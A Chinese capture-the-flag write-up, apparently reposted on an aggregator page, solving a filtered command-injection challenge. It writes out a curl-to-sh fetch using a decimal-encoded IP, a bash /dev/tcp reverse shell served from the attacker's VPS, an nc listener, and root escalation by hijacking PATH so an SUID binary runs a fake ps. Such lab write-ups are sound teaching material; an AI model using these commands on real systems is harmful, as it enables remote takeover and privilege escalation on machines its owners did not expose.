当前位置: 首页 > news >正文

BMZCTF WEB WEB_penetration

在这里插入图片描述
打开网页:
在这里插入图片描述
发现过滤了很多字母和字符:

b,d,e,-,q,f,g,i,p,j,+,k,m,n,<,>,o,w,x,~,:,^,@,&,,%,",*,(,),!,=,.,[,],},{,_);

致使我们好多命令都无法操作。最后观察至curl没有被过滤。
我们就可以设置好VPS,使用VPS反弹shell
在这里插入图片描述
设置VPS的首页为:

bash -c "bash -i >& /dev/tcp/IP地址/5555 0>&1"

在VPS上打开web服务,如果没有apache或其他中间件,可以使用python:
python2:

python -m SimpleHTTPServer 80

python3:

python -m http.server 80

然后在vps上再打开一个终端,监听5555端口:

nc -lvnp 5555

假设我们的VPS的IP地址为123.123.123.123,因为页面过滤了.,我们无法直接输入IP地址,而且长度也会超过18个。
因此,我们要将IP地址进行转换:
百度搜索下IP 十进制随便点开一个就可以:

我们就能看到十进制的IP地址为:2071690107
我们在页面输入:?ip=curl 2071690107|sh
在这里插入图片描述
就能在我们的VPS上看到反弹的shell了
在这里插入图片描述
查看id
在这里插入图片描述
发现是个低权限用户:www-data
搜索flag

find / -name flag

没有找到。home目录下也没有用户名:
在这里插入图片描述
那么flag只能存在于/root目录下,因为我们没权限,所以无法搜索到。
我们要提权到root
先找下suid:

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述
发现了一个奇怪的程序:love
运行下:
在这里插入图片描述
返回了结果。不用任何输入。
我们将其下载,并用ida进行逆向:
在这里插入图片描述
发现love是运行了ps程序,特点有两个:
1、会将uid设为0,也就是root
2、ps命令没有指定是哪个目录下的。
那么我们就可以伪造ps命令来提权。
我们在/tmp目录下伪造ps命令。因为/tmp目录有可写权限(其他可写目录也可以)

cd /tmp       # 进入/tmp目录
echo "/bin/bash" >ps    #将payload写入ps文件
chmod 777 ps            #设置可读可写可执行权限
$PATH                   #查看环境变量
export PATH=/tmp:$PATH   #将/tmp加入环境变量,并放在第一个位置

然后我们运行love,发现是root权限了
在这里插入图片描述
现在我们就能读取flag

cat /root/flag

在这里插入图片描述


http://www.taodudu.cc/news/show-6310657.html

相关文章:

  • webapi Filter
  • fonts/fontawesome-webfont.woff2 404
  • ctfshow SSRF web351-web360 wp
  • WEB:Wife_wife
  • 自动驾驶专业名词简写简写缩写
  • OpenText Content Server 客户案例——全球最大的商业炸药和创新爆破系统供应商Orica
  • Kubernetes 学习15 kubernetes 认证及serviceaccount
  • sqlmap参考
  • Orica 如何维护安全、质量、管理风险、高标准的客户服务和员工福利所需的大量文档和内容
  • 2ASK、2FSK、2PSK、2DPSK、4ASK、4FSK、4PSK、4DPSK、QPSK,以及4QAM、16QAM和MSK、GMSK这些调制和解调过程
  • GSM的调制方式-GMSK
  • GMSK通信系统中频偏估计改进算法
  • GMSK调制解调(二)
  • GMSK技术的原理(Principle of GMSK technologies)
  • 华为模拟器实现wlan二层组网
  • cisco 模拟器安装及交换机的基本配置实验心得_「分享」7个必看的Cisco实验
  • H3C 路由器交换机模拟器
  • JS如何手写new(一看就懂)
  • js 手写电子签名
  • 前端算法及手写算法JavaScript
  • 用 TensorFlow.js 在浏览器中训练一个计算机视觉模型(手写数字分类器)
  • js中的数字
  • JavaScript 数字格式化怎么写(#,##.00) (实用,赞)
  • 手写JavaScript
  • Tensorflow.js||使用 CNN 识别手写数字
  • 史上最全!56个JavaScript的「手写」知识点,扫盲啦!
  • JavaScript手写(持续更新)
  • 用tensorflow.js实现浏览器内的手写数字识别
  • jar包反编译工具(java-decompiler)
  • Elasticsearch 8.x 破解x-pack-core